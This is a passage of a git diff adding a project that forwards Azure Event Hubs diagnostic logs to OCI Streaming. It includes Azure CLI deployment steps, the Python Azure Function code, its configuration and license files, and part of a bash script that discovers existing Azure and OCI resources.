Azure CLI / Functions Core Tools: +1) Variables +RG="" +LOC="westeurope" +SA="" +APP="" + +2) Resource group + storage + function app (Linux, Python 3.11, Functions v4) +az group create -n "$RG" -l "$LOC" +az storage account create -g "$RG" -n "$SA" -l "$LOC" --sku Standard_LRS +az functionapp create -g "$RG" -n "$APP" --consumption-plan-location "$LOC" --runtime python --runtime-version 3.11 --functions-version 4 --os-type linux --storage-account "$SA" + +3) App settings +# Event Hubs + consumer group +az functionapp config appsettings set -g "$RG" -n "$APP" --settings \ + EventHubsConnectionString="Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=RootManageSharedAccessKey;SharedAccessKey=..." \ + EventHubConsumerGroup='$Default' \ + EventHubName="insights-activity-logs" \ + EventHubNamesCsv="insights-activity-logs,another-hub" + +# OCI target +az functionapp config appsettings set -g "$RG" -n "$APP" --settings \ + MessageEndpoint="https://cell-1.streaming..oci.oraclecloud.com" \ + StreamOcid="ocid1.stream.oc1..xxxx" + +# OCI credentials (consider storing in Key Vault and referencing) +az functionapp config appsettings set -g "$RG" -n "$APP" --settings \ + user="ocid1.user.oc1..xxxx" \ + key_content="-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----" \ + pass_phrase="" \ + fingerprint="" \ + tenancy="ocid1.tenancy.oc1..xxxx" \ + region="" + +# Optional tuning +az functionapp config appsettings set -g "$RG" -n "$APP" --settings \ + MaxBatchSize="100" MaxBatchBytes="1048576" +# (InactivityTimeout is ignored for the Event Hub trigger) + +4) Publish the function with remote build +cd function/EventHubsNamespaceToOCIStreaming +func azure functionapp publish "$APP" --python --build remote --force +cd - 1>/dev/null + +Fallback if Functions Core Tools is unavailable: +cd function/EventHubsNamespaceToOCIStreaming +# Remove host-specific dependencies before packaging for Azure Linux +rm -rf .python_packages +zip -r ../../function-deploy.zip . +cd - 1>/dev/null +az functionapp deployment source config-zip -g "$RG" -n "$APP" --src "function-deploy.zip" + +5) Validate logs and execution +az webapp log tail -g "$RG" -n "$APP" +# or use Functions Core Tools +# func azure functionapp logstream "$APP" --resource-group "$RG" +# Look for "Config summary" and per-hub "summary: sent=..." lines confirming messages are forwarded. +- Note: logstream is not supported on Linux Consumption. Use a premium plan (EP1) via provision_azure_to_oci.sh or open Application Insights Live Metrics in the portal. +- If you see a warning about Stream Pool OCIDs, update StreamOcid to the Stream OCID (ocid1.stream...) instead of the Stream Pool (ocid1.streampool...). +- If you set the consumer group from a shell command, use `EventHubConsumerGroup='$Default'` so the shell preserves the literal value. + +Operational notes: +- The Event Hub trigger reads continuously from the configured `EventHubName` and consumer group. Use the drain script for one-time backfill (`--from-beginning` or `--start-iso`). +- For checkpointing across runs, integrate Azure Blob checkpoint store (not included by default). Current design updates partition checkpoints in-session only. +- Use a dedicated consumer group to avoid interference with other consumers. +- Ensure the Function App has outbound access to OCI endpoints (consider firewall/vnet rules). +- Secure key_content via Azure Key Vault references in app settings for production. +- Helper script update: scripts/drain_eventhub_to_oci.sh now reads MessageEndpoint / StreamOcid from local.settings.json if OCI_MESSAGE_ENDPOINT / OCI_STREAM_OCID are not exported, preventing the “OCI_MESSAGE_ENDPOINT and/or OCI_STREAM_OCID not set” error during local validation. + +Packaging options (zip for portal or CI/CD) +- Local zip: build the package on Linux, or skip local dependency packaging and use a remote build. Do not upload a macOS/Windows-built `.python_packages` directory to an Azure Linux Function App. + (cd function/EventHubsNamespaceToOCIStreaming && rm -rf .python_packages && zip -qry ../../azurelogs2oci-function.zip .) + Upload azurelogs2oci-function.zip to a storage container with a SAS URL and paste that URL into the portal template packageUri field. +- GitHub Actions: trigger .github/workflows/deploy-azure-function.yml (workflow_dispatch). It builds the zip, uploads it as an artifact, and can deploy directly when AZURE_FUNCTIONAPP_PUBLISH_PROFILE is provided as a secret. + +Cleanup guidance (repo): +- You can retain this function folder as the authoritative Event Hub trigger → OCI implementation. +- Candidate items to archive/remove if no longer needed: earlier experimental connectors or duplicate templates. Consider moving older folders into an archive/ directory for traceability. diff --git a/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/eventhub_to_oci/__init__.py b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/eventhub_to_oci/__init__.py new file mode 100644 index 000000000..5979c6a18 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/eventhub_to_oci/__init__.py @@ -0,0 +1,332 @@ +import json +import logging +import os +import time +from base64 import b64encode +from typing import List, Tuple + +import azure.functions as func + +# Azure Event Hubs (sync client) +try: + from azure.eventhub import EventHubConsumerClient + EH_SDK_OK = True +except Exception as e: + EH_SDK_OK = False + logging.error("Azure Event Hubs SDK missing. Add 'azure-eventhub' to requirements.txt") + +# OCI SDK +try: + import oci + from oci.streaming.models import PutMessagesDetails, PutMessagesDetailsEntry + OCI_SDK_OK = True +except Exception as e: + OCI_SDK_OK = False + logging.error("OCI SDK missing. Add 'oci' to requirements.txt") + +logging.getLogger('azure.core.pipeline.policies.http_logging_policy').setLevel(logging.ERROR) + +# Batch defaults +DEFAULT_MAX_BATCH_COUNT = int(os.getenv('MaxBatchSize', 100)) +DEFAULT_MAX_BATCH_BYTES = int(os.getenv('MaxBatchBytes', 1024 * 1024)) # 1MB +DEFAULT_INACTIVITY_TIMEOUT = int(os.getenv('InactivityTimeout', 10)) + + +def parse_key(key_input: str) -> str: + """Parse OCI private key from single-line format into PEM, tolerating trailing text""" + try: + import re + import textwrap + + # Normalize escaped newlines and strip outer whitespace + normalized = (key_input or "").replace("\\n", "\n").strip() + + begin_match = re.search(r"-----BEGIN [A-Z ]+-----", normalized) + end_match = re.search(r"-----END [A-Z ]+-----", normalized) + if not begin_match or not end_match: + raise ValueError("BEGIN/END markers not found") + + begin_line = begin_match.group() + end_line = end_match.group() + + # Only keep content between the markers, discard anything after the end marker + key_block = normalized[begin_match.end() : end_match.start()] + + # Handle encrypted keys if present + encr_lines = "" + proc_type_line = re.search(r"Proc-Type: [^\n]+", key_block) + dec_info_line = re.search(r"DEK-Info: [^\n]+", key_block) + if proc_type_line: + encr_lines += proc_type_line.group().strip() + "\n" + key_block = key_block.replace(proc_type_line.group(), "") + if dec_info_line: + encr_lines += dec_info_line.group().strip() + "\n" + key_block = key_block.replace(dec_info_line.group(), "") + + # Remove whitespace and wrap to PEM-friendly line lengths + body_compact = re.sub(r"\s+", "", key_block) + wrapped_body = "\n".join(textwrap.wrap(body_compact, 64)) + + parts = [begin_line] + if encr_lines: + parts.append(encr_lines.rstrip("\n")) + parts.append(wrapped_body) + parts.append(end_line) + return "\n".join(parts) + except Exception: + raise Exception("Error while reading private key.") + + +def get_oci_config_from_env() -> dict: + """Build OCI config dict from environment variables (Function App settings)""" + cfg = { + "user": os.environ['user'], + "key_content": parse_key(os.environ['key_content']), + "pass_phrase": os.environ.get('pass_phrase', ''), + "fingerprint": os.environ['fingerprint'], + "tenancy": os.environ['tenancy'], + "region": os.environ['region'] + } + return cfg + + +class OciStreamSender: + """Minimal OCI Stream sender with base64 encoding and size-aware batching""" + + def __init__(self, config: dict, message_endpoint: str, stream_ocid: str): + oci.config.validate_config(config) + self.client = oci.streaming.StreamClient(config, service_endpoint=message_endpoint) + self.stream_ocid = stream_ocid + + @staticmethod + def estimate_batch_bytes(messages: List[str]) -> int: + # Estimate based on base64-encoded payloads + small overhead + return sum(len(b64encode(m.encode('utf-8'))) for m in messages) + len(messages) * 50 + + def send_batch(self, payloads: List[str]) -> Tuple[int, int]: + if not payloads: + return (0, 0) + entries = [PutMessagesDetailsEntry(value=b64encode(p.encode('utf-8')).decode('utf-8')) for p in payloads] + req = PutMessagesDetails(messages=entries) + resp = self.client.put_messages(self.stream_ocid, req) + sent = failed = 0 + for entry in (resp.data.entries or []): + if getattr(entry, 'error', None): + failed += 1 + else: + sent += 1 + return (sent, failed) + + def send_with_limits(self, payloads: List[str], max_bytes: int, max_count: int) -> Tuple[int, int, int]: + total_sent = total_failed = batches = 0 + batch: List[str] = [] + for p in payloads: + candidate = batch + [p] + if len(candidate) > max_count or self.estimate_batch_bytes(candidate) > max_bytes: + s, f = self.send_batch(batch) + total_sent += s + total_failed += f + batches += 1 + batch = [p] + else: + batch = candidate + if batch: + s, f = self.send_batch(batch) + total_sent += s + total_failed += f + batches += 1 + return (total_sent, total_failed, batches) + + +class HubBuffer: + """Buffer messages and flush to OCI by count/size or on-demand""" + + def __init__(self, sender: OciStreamSender, max_count: int, max_bytes: int): + self.sender = sender + self.max_count = max_count + self.max_bytes = max_bytes + self.buf: List[str] = [] + self.sent = 0 + self.failed = 0 + self.batches = 0 + + def add(self, payload: str): + self.buf.append(payload) + self._flush_if_needed() + + def _flush_if_needed(self, force: bool = False): + if not self.buf: + return + if force or len(self.buf) >= self.max_count or OciStreamSender.estimate_batch_bytes(self.buf) >= self.max_bytes: + s, f, b = self.sender.send_with_limits(self.buf, self.max_bytes, self.max_count) + self.sent += s + self.failed += f + self.batches += b + self.buf.clear() + logging.info(f"Flushed to OCI: sent={s}, failed={f}, batches={b}") + + def flush(self): + self._flush_if_needed(force=True) + + +# Removed unused polling functions - Event Hub trigger handles this automatically + + +def _enrich(body: str) -> List[str]: + """Unwrap Azure Event Hub records envelope and inject cloud-provider tag. + + Azure diagnostic settings wrap log entries in {"records": [...]}. + This function unwraps the array so each record is a standalone JSON + object with cloudProvider injected, matching the OCI LA parser paths. + """ + try: + obj = json.loads(body) + # Azure Event Hub diagnostic settings envelope + if isinstance(obj, dict) and "records" in obj and isinstance(obj["records"], list): + results = [] + for record in obj["records"]: + if isinstance(record, dict): + record["cloudProvider"] = "Azure" + results.append(json.dumps(record, separators=(",", ":"))) + return results if results else [body] + # Single record (no envelope) + obj["cloudProvider"] = "Azure" + return [json.dumps(obj, separators=(",", ":"))] + except (json.JSONDecodeError, TypeError): + return [body] + + +def mask(value: str, keep: int = 6) -> str: + """Mask secrets for logging.""" + if not value: + return "" + if len(value) <= keep: + return "***" + return f"{value[:keep]}...***" + + +def validate_env() -> Tuple[str, str]: + """Validate OCI environment variables only (Event Hub binding is handled by trigger)""" + endpoint = os.getenv("MessageEndpoint") or os.getenv("OCI_MESSAGE_ENDPOINT") + stream_ocid = os.getenv("StreamOcid") or os.getenv("OCI_STREAM_OCID") + if not endpoint or not stream_ocid: + raise RuntimeError("Missing MessageEndpoint/StreamOcid (or OCI_MESSAGE_ENDPOINT/OCI_STREAM_OCID) application settings") + if "streampool" in stream_ocid: + raise RuntimeError("StreamOcid points to a Stream Pool. Use the Stream OCID (ocid1.stream...) instead.") + + return endpoint, stream_ocid + + +def main(events: List[func.EventHubEvent]) -> None: + """Event Hub-triggered function: process events in real-time and forward to OCI Streaming""" + event_count = len(events) if events else 0 + logging.info(f"Event Hub trigger: received {event_count} events") + + if event_count == 0: + logging.info("No events to process") + return + + # Debug: Log environment variables (masked for security) + logging.info(f"Environment check - MessageEndpoint: {'✓' if os.getenv('MessageEndpoint') else '✗'}") + logging.info(f"Environment check - StreamOcid: {'✓' if os.getenv('StreamOcid') else '✗'}") + logging.info(f"Environment check - user: {'✓' if os.getenv('user') else '✗'}") + logging.info(f"Environment check - key_content: {'✓' if os.getenv('key_content') else '✗'}") + logging.info(f"Environment check - fingerprint: {'✓' if os.getenv('fingerprint') else '✗'}") + logging.info(f"Environment check - tenancy: {'✓' if os.getenv('tenancy') else '✗'}") + logging.info(f"Environment check - region: {'✓' if os.getenv('region') else '✗'}") + logging.info(f"Environment check - EventHubName: {os.getenv('EventHubName', '')}") + logging.info(f"Environment check - EventHubConsumerGroup: {os.getenv('EventHubConsumerGroup', '')}") + + if not OCI_SDK_OK: + logging.error("OCI SDK not available. Ensure 'oci' is installed.") + return + + try: + # Validate env and build OCI sender + logging.info("Validating OCI environment configuration...") + endpoint, stream_ocid = validate_env() + logging.info(f"OCI config validated - endpoint: {mask(endpoint)}, stream: {mask(stream_ocid)}") + + logging.info("Building OCI configuration...") + cfg = get_oci_config_from_env() + logging.info("OCI configuration built successfully") + + logging.info("Initializing OCI Stream sender...") + sender = OciStreamSender(cfg, endpoint, stream_ocid) + logging.info("OCI Stream sender initialized successfully") + + max_batch_count = int(os.getenv("MaxBatchSize", DEFAULT_MAX_BATCH_COUNT)) + max_batch_bytes = int(os.getenv("MaxBatchBytes", DEFAULT_MAX_BATCH_BYTES)) + + logging.info( + f"Config summary | endpoint={mask(endpoint)} | stream={mask(stream_ocid)} | " + f"max_batch_count={max_batch_count} | max_batch_bytes={max_batch_bytes}" + ) + + # Process events with optimized batching + logging.info(f"Initializing buffer with max_count={max_batch_count}, max_bytes={max_batch_bytes}") + buffer = HubBuffer(sender, max_count=max_batch_count, max_bytes=max_batch_bytes) + processed_count = 0 + error_count = 0 + + logging.info("Starting event processing...") + for i, event in enumerate(events): + try: + logging.debug(f"Processing event {i+1}/{event_count}") + + # Decode event body as UTF-8 string (Azure Event Hub events contain the log data) + body = event.get_body().decode('utf-8') + logging.debug(f"Event {i+1} decoded successfully, size: {len(body)} bytes") + + # Validate the event data is not empty + if not body or body.isspace(): + logging.warning(f"Event {i+1}: Received empty event body, skipping") + continue + + # Log first few characters for debugging (truncated) + preview = body[:100].replace('\n', ' ').replace('\r', ' ') + logging.debug(f"Event {i+1} content preview: {preview}{'...' if len(body) > 100 else ''}") + + # Unwrap records envelope and enrich with cloud provider tag + records = _enrich(body) + + # Add each unwrapped record to buffer + for record in records: + buffer.add(record) + processed_count += len(records) + + logging.debug(f"Event {i+1}: {len(records)} record(s) added to buffer. Total processed: {processed_count}") + + except UnicodeDecodeError as e: + error_count += 1 + logging.error(f"Event {i+1}: Failed to decode event body as UTF-8: {e}") + except Exception as e: + error_count += 1 + logging.error(f"Event {i+1}: Error processing individual event: {e}") + + logging.info(f"Event processing complete. Processed: {processed_count}, Errors: {error_count}") + + # Final flush to ensure all messages are sent + logging.info("Performing final buffer flush...") + buffer.flush() + + total_sent = buffer.sent + total_failed = buffer.failed + error_count + total_batches = buffer.batches + + logging.info( + f"Event Hub trigger complete: processed={processed_count}, " + f"sent={total_sent}, failed={total_failed}, batches={total_batches}" + ) + + # Log success/failure summary + if total_failed == 0 and processed_count > 0: + logging.info("✅ All events successfully forwarded to OCI Streaming") + elif total_failed > 0: + logging.warning(f"⚠️ {total_failed} events failed to send to OCI Streaming") + else: + logging.warning("⚠️ No events were successfully processed") + + except Exception as e: + logging.exception(f"Event Hub function error: {e}") + raise # Re-raise to mark function as failed diff --git a/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/eventhub_to_oci/function.json b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/eventhub_to_oci/function.json new file mode 100644 index 000000000..22b637118 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/eventhub_to_oci/function.json @@ -0,0 +1,15 @@ +{ + "scriptFile": "__init__.py", + "bindings": [ + { + "name": "events", + "type": "eventHubTrigger", + "direction": "in", + "eventHubName": "%EventHubName%", + "connection": "EventHubsConnectionString", + "consumerGroup": "%EventHubConsumerGroup%", + "cardinality": "many", + "dataType": "binary" + } + ] +} diff --git a/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/host.json b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/host.json new file mode 100644 index 000000000..81f738a2e --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/host.json @@ -0,0 +1,14 @@ +{ + "version": "2.0", + "logging": { + "applicationInsights": { + "samplingSettings": { + "isEnabled": true + } + } + }, + "extensionBundle": { + "id": "Microsoft.Azure.Functions.ExtensionBundle", + "version": "[4.*, 5.0.0)" + } +} diff --git a/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/requirements.txt b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/requirements.txt new file mode 100644 index 000000000..6fa2decff --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/function/EventHubsNamespaceToOCIStreaming/requirements.txt @@ -0,0 +1,3 @@ +azure-functions +azure-eventhub>=5.11.0 +oci>=2.124.0 diff --git a/observability-and-management/assets/azurelogs2oci/images/1.png b/observability-and-management/assets/azurelogs2oci/images/1.png new file mode 100644 index 000000000..e04609c9e Binary files /dev/null and b/observability-and-management/assets/azurelogs2oci/images/1.png differ diff --git a/observability-and-management/assets/azurelogs2oci/images/2.png b/observability-and-management/assets/azurelogs2oci/images/2.png new file mode 100644 index 000000000..7e94dc6d2 Binary files /dev/null and b/observability-and-management/assets/azurelogs2oci/images/2.png differ diff --git a/observability-and-management/assets/azurelogs2oci/images/3.png b/observability-and-management/assets/azurelogs2oci/images/3.png new file mode 100644 index 000000000..ee3b5c65e Binary files /dev/null and b/observability-and-management/assets/azurelogs2oci/images/3.png differ diff --git a/observability-and-management/assets/azurelogs2oci/license_policy.yml b/observability-and-management/assets/azurelogs2oci/license_policy.yml new file mode 100644 index 000000000..3e7a1d312 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/license_policy.yml @@ -0,0 +1,25 @@ +license_policies: +- license_key: upl-1.0 + label: Approved License + color_code: '#00800' + icon: icon-ok-circle +- license_key: bsd-simplified + label: Approved License + color_code: '#00800' + icon: icon-ok-circle +- license_key: bsd-new + label: Approved License + color_code: '#00800' + icon: icon-ok-circle +- license_key: mit + label: Approved License + color_code: '#00800' + icon: icon-ok-circle +- license_key: apache-1.1 + label: Approved License + color_code: '#00800' + icon: icon-ok-circle +- license_key: apache-2.0 + label: Approved License + color_code: '#00800' + icon: icon-ok-circle diff --git a/observability-and-management/assets/azurelogs2oci/release_files.json b/observability-and-management/assets/azurelogs2oci/release_files.json new file mode 100644 index 000000000..19a2bdd5c --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/release_files.json @@ -0,0 +1,3 @@ +// see https://github.com/oracle-devrel/action-release-zip-maker for docs +[ +] diff --git a/observability-and-management/assets/azurelogs2oci/repolinter.json b/observability-and-management/assets/azurelogs2oci/repolinter.json new file mode 100644 index 000000000..762dc26c8 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/repolinter.json @@ -0,0 +1,57 @@ +{ + "$schema": "https://raw.githubusercontent.com/todogroup/repolinter/master/rulesets/schema.json", + "version": 2, + "axioms": {}, + "rules": { + "readme-file-exists" : { + "level": "error", + "rule": { + "type": "file-existence", + "options": { + "globsAny": ["README*"] + } + } + }, + "disclaimer-present" : { + "level": "error", + "rule": { + "type": "file-contents", + "options": { + "globsAll": ["README*"], + "noCase": true, + "fail-on-non-existent": true, + "content": "ORACLE AND ITS AFFILIATES DO NOT PROVIDE ANY WARRANTY WHATSOEVER, EXPRESS OR IMPLIED, FOR ANY SOFTWARE, MATERIAL OR CONTENT OF ANY KIND" + } + } + }, + "license-file-exists" : { + "level": "error", + "rule": { + "type": "file-existence", + "options": { + "globsAny": ["LICENSE*"] + } + } + }, + "copyright-notice-present" : { + "level": "warning", + "rule": { + "type": "file-starts-with", + "options": { + "globsAll": ["**/*"], + "skip-binary-files": true, + "skip-paths-matching": { + "extensions": ["yaml","yml","md","json","xml","tpl","ipynb","pickle","joblib","properties"], + "patterns": ["\\.github"], + "flags": "" + }, + "lineCount": 2, + "patterns": [ + "Copyright \\([cC]\\) [12][90]\\d\\d(\\-[12][90]\\d\\d)? Oracle and/or its affiliates\\." + ], + "succeed-on-non-exist": true + } + } + } + } +} diff --git a/observability-and-management/assets/azurelogs2oci/scripts/discover_resources.sh b/observability-and-management/assets/azurelogs2oci/scripts/discover_resources.sh new file mode 100644 index 000000000..196c52953 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/scripts/discover_resources.sh @@ -0,0 +1,366 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# discover_resources.sh – Scan Azure and OCI backends for +# existing azurelogs2oci resources. +# +# Source this file from setup/teardown scripts: +# source "$SCRIPT_DIR/discover_resources.sh" +# +# Requires: +# - lib/common.sh already sourced (for info, ok, warn, err) +# - OCI CLI + OCI_COMPARTMENT_ID for OCI discovery +# - Azure CLI (logged in) for Azure discovery +# +# After calling discover_oci_resources / discover_azure_resources, +# results are available in DISC_* variables. +# ───────────────────────────────────────────────────────────── + +# ── Shared helpers ─────────────────────────────────────────── + +parse_eventhub_namespace_from_connection_string() { + local connection_string="${1:-${EventHubsConnectionString:-}}" + if [[ "$connection_string" =~ Endpoint=sb://([^.]+)\.servicebus\.windows\.net/? ]]; then + echo "${BASH_REMATCH[1]}" + fi +} + +is_oci_stream_pool_ocid() { + local ocid="${1:-}" + [[ "$ocid" == ocid1.streampool.* ]] +} + +discover_azure_defaults() { + local rg="${1:-${AZ_RG:-${EVENTHUB_RG:-}}}" + + DISC_AZ_SUGGESTED_EVENTHUB_NAMESPACE="${EVENTHUB_NAMESPACE:-}" + DISC_AZ_SUGGESTED_STORAGE_ACCOUNT="${AZ_STORAGE_ACCOUNT:-}" + DISC_AZ_SUGGESTED_FUNCTION_APP="${AZ_FUNCTION_APP:-}" + + [[ -z "$rg" ]] && return 0 + command -v az >/dev/null 2>&1 || return 0 + az account show >/dev/null 2>&1 || return 0 + + if [[ -z "$DISC_AZ_SUGGESTED_EVENTHUB_NAMESPACE" ]]; then + DISC_AZ_SUGGESTED_EVENTHUB_NAMESPACE="$(parse_eventhub_namespace_from_connection_string)" + fi + + if [[ -z "$DISC_AZ_SUGGESTED_EVENTHUB_NAMESPACE" ]]; then + local namespaces=() + while IFS= read -r line; do + [[ -n "$line" ]] && namespaces+=("$line") + done < <(az eventhubs namespace list --resource-group "$rg" --query "[].name" -o tsv 2>/dev/null) + if [[ ${#namespaces[@]} -eq 1 ]]; then + DISC_AZ_SUGGESTED_EVENTHUB_NAMESPACE="${namespaces[0]}" + fi + fi + + if [[ -z "$DISC_AZ_SUGGESTED_STORAGE_ACCOUNT" ]]; then + local storage_accounts=() + while IFS= read -r line; do + [[ -n "$line" ]] && storage_accounts+=("$line") + done < <(az storage account list --resource-group "$rg" --query "[].name" -o tsv 2>/dev/null) + if [[ ${#storage_accounts[@]} -eq 1 ]]; then + DISC_AZ_SUGGESTED_STORAGE_ACCOUNT="${storage_accounts[0]}" + fi + fi + + if [[ -z "$DISC_AZ_SUGGESTED_FUNCTION_APP" ]]; then + local function_apps=() + while IFS= read -r line; do + [[ -n "$line" ]] && function_apps+=("$line") + done < <(az functionapp list --resource-group "$rg" --query "[].name" -o tsv 2>/dev/null) + if [[ ${#function_apps[@]} -eq 1 ]]; then + DISC_AZ_SUGGESTED_FUNCTION_APP="${function_apps[0]}" + fi + fi +} + +discover_oci_stream_defaults() { + local compartment="${1:-${OCI_COMPARTMENT_ID:-${OCI_COMPARTMENT_OCID:-}}}" + local preferred_stream_id="${OCI_STREAM_OCID:-${StreamOcid:-}}" + local preferred_stream_name="${OCI_STREAM_NAME:-}" + + DISC_OCI_SUGGESTED_STREAM_ID="" + DISC_OCI_SUGGESTED_STREAM_NAME="$preferred_stream_name" + DISC_OCI_SUGGESTED_MESSAGE_ENDPOINT="${OCI_MESSAGE_ENDPOINT:-${MessageEndpoint:-}}" + DISC_OCI_STREAM_OCID_IS_POOL="false" + + [[ -z "$compartment" ]] && return 0 + command -v oci >/dev/null 2>&1 || return 0 + + if [[ -n "$preferred_stream_id" ]]; then + if is_oci_stream_pool_ocid "$preferred_stream_id"; then + DISC_OCI_STREAM_OCID_IS_POOL="true" + return 0 + fi + + local stream_json="" + stream_json="$(oci streaming admin stream get --stream-id "$preferred_stream_id" 2>/dev/null || true)" + if [[ -n "$stream_json" ]]; then + DISC_OCI_SUGGESTED_STREAM_ID="$preferred_stream_id" + DISC_OCI_SUGGESTED_STREAM_NAME="$(printf '%s' "$stream_json" | python3 -c 'import json,sys; data=json.load(sys.stdin)["data"]; print(data.get("name",""))')" + if [[ -z "$DISC_OCI_SUGGESTED_MESSAGE_ENDPOINT" ]]; then + DISC_OCI_SUGGESTED_MESSAGE_ENDPOINT="$(printf '%s' "$stream_json" | python3 -c 'import json,sys; data=json.load(sys.stdin)["data"]; print(data.get("messages-endpoint",""))')" + fi + return 0 + fi + fi + + local query='data[].{"id":id,"name":name,"endpoint":"messages-endpoint"}' + if [[ -n "$preferred_stream_name" ]]; then + query="data[?name=='$preferred_stream_name'].{\"id\":id,\"name\":name,\"endpoint\":\"messages-endpoint\"}" + fi + + local streams_json="" + streams_json="$(oci streaming admin stream list --compartment-id "$compartment" --query "$query" 2>/dev/null || true)" + [[ -z "$streams_json" ]] && return 0 + + local count="" + count="$(printf '%s' "$streams_json" | python3 -c 'import json,sys; print(len(json.load(sys.stdin).get("data", [])))' 2>/dev/null || true)" + if [[ "$count" == "1" ]]; then + DISC_OCI_SUGGESTED_STREAM_ID="$(printf '%s' "$streams_json" | python3 -c 'import json,sys; print(json.load(sys.stdin)["data"][0].get("id",""))')" + DISC_OCI_SUGGESTED_STREAM_NAME="$(printf '%s' "$streams_json" | python3 -c 'import json,sys; print(json.load(sys.stdin)["data"][0].get("name",""))')" + if [[ -z "$DISC_OCI_SUGGESTED_MESSAGE_ENDPOINT" ]]; then + DISC_OCI_SUGGESTED_MESSAGE_ENDPOINT="$(printf '%s' "$streams_json" | python3 -c 'import json,sys; print(json.load(sys.stdin)["data"][0].get("endpoint",""))')" + fi + fi +} + +# ── OCI Discovery ──────────────────────────────────────────── + +# Populates: +# DISC_OCI_STREAM_POOL_ID, DISC_OCI_STREAM_POOL_NAME +# DISC_OCI_STREAM_ID, DISC_OCI_STREAM_NAME +# DISC_OCI_LOG_GROUP_ID, DISC_OCI_LOG_GROUP_NAME +# DISC_OCI_SCH_ID, DISC_OCI_SCH_NAME +# DISC_OCI_LA_SOURCE +# DISC_OCI_NAMESPACE +discover_oci_resources() { + local compartment="${OCI_COMPARTMENT_ID:-${OCI_COMPARTMENT_OCID:-}}" + local tenancy="${OCI_TENANCY_OCID:-${tenancy:-}}" + local pool_name="${OCI_STREAM_POOL_NAME:-MultiCloud_Log_Pool}" + local stream_name="${OCI_STREAM_NAME:-azure-inbound-stream}" + local log_group_name="${OCI_LOG_GROUP_NAME:-AzureLogs}" + local sch_name="${OCI_SCH_NAME:-Azure-Stream-to-LogAnalytics}" + local namespace="${OCI_LOG_ANALYTICS_NAMESPACE:-}" + local source_name="Azure Logs" + + DISC_OCI_STREAM_POOL_ID="" + DISC_OCI_STREAM_POOL_NAME="$pool_name" + DISC_OCI_STREAM_ID="" + DISC_OCI_STREAM_NAME="$stream_name" + DISC_OCI_LOG_GROUP_ID="" + DISC_OCI_LOG_GROUP_NAME="$log_group_name" + DISC_OCI_SCH_ID="" + DISC_OCI_SCH_NAME="$sch_name" + DISC_OCI_LA_SOURCE="" + DISC_OCI_NAMESPACE="$namespace" + + if [[ -z "$compartment" ]]; then + warn "OCI_COMPARTMENT_ID not set; skipping OCI discovery." + return 1 + fi + + if ! command -v oci >/dev/null 2>&1; then + warn "oci CLI not found; skipping OCI discovery." + return 1 + fi + + info "Discovering OCI resources..." + + # Namespace (requires tenancy OCID, not compartment) + if [[ -z "$namespace" && -n "$tenancy" ]]; then + namespace=$(oci log-analytics namespace list \ + --compartment-id "$tenancy" \ + --query 'data.items[0]."namespace-name"' --raw-output 2>/dev/null || true) + [[ "$namespace" == "null" ]] && namespace="" + fi + DISC_OCI_NAMESPACE="$namespace" + + # Stream Pool + local pool_result + pool_result=$(oci streaming admin stream-pool list \ + --compartment-id "$compartment" \ + --name "$pool_name" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) + if [[ -n "$pool_result" && "$pool_result" != "null" ]]; then + DISC_OCI_STREAM_POOL_ID="$pool_result" + fi + + # Stream + local stream_result + stream_result=$(oci streaming admin stream list \ + --compartment-id "$compartment" \ + --name "$stream_name" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) + if [[ -n "$stream_result" && "$stream_result" != "null" ]]; then + DISC_OCI_STREAM_ID="$stream_result" + fi + + # Also check local env for stream OCID + if [[ -z "$DISC_OCI_STREAM_ID" ]]; then + local env_stream="${OCI_STREAM_OCID:-${StreamOcid:-}}" + if [[ -n "$env_stream" && "$env_stream" != "null" && "$env_stream" != *"example"* ]]; then + DISC_OCI_STREAM_ID="$env_stream" + fi + fi + + # Log Group + if [[ -n "$namespace" ]]; then + local lg_result + lg_result=$(oci log-analytics log-group list \ + --compartment-id "$compartment" \ + --namespace-name "$namespace" \ + --query "data.items[?\"display-name\"=='$log_group_name'].id | [0]" \ + --raw-output 2>/dev/null || true) + if [[ -n "$lg_result" && "$lg_result" != "null" && "$lg_result" != "None" ]]; then + DISC_OCI_LOG_GROUP_ID="$lg_result" + fi + + # LA Source + local src_result + src_result=$(oci log-analytics source list-sources \ + --namespace-name "$namespace" \ + --compartment-id "$compartment" \ + --name "$source_name" \ + --is-system ALL \ + --query 'data.items[0].name' --raw-output 2>/dev/null || true) + if [[ -n "$src_result" && "$src_result" != "null" && "$src_result" != "None" ]]; then + DISC_OCI_LA_SOURCE="$src_result" + fi + fi + + # Service Connector Hub + local sch_result + sch_result=$(oci sch service-connector list \ + --compartment-id "$compartment" \ + --display-name "$sch_name" \ + --lifecycle-state ACTIVE \ + --query 'data.items[0].id' --raw-output 2>/dev/null || true) + if [[ -n "$sch_result" && "$sch_result" != "null" && "$sch_result" != "None" ]]; then + DISC_OCI_SCH_ID="$sch_result" + fi + + ok "OCI discovery complete." +} + +# ── Azure Discovery ────────────────────────────────────────── + +# Populates: +# DISC_AZ_RG_EXISTS (true/false) +# DISC_AZ_EVENTHUB_NS_EXISTS (true/false) +# DISC_AZ_EVENTHUBS (comma-separated list) 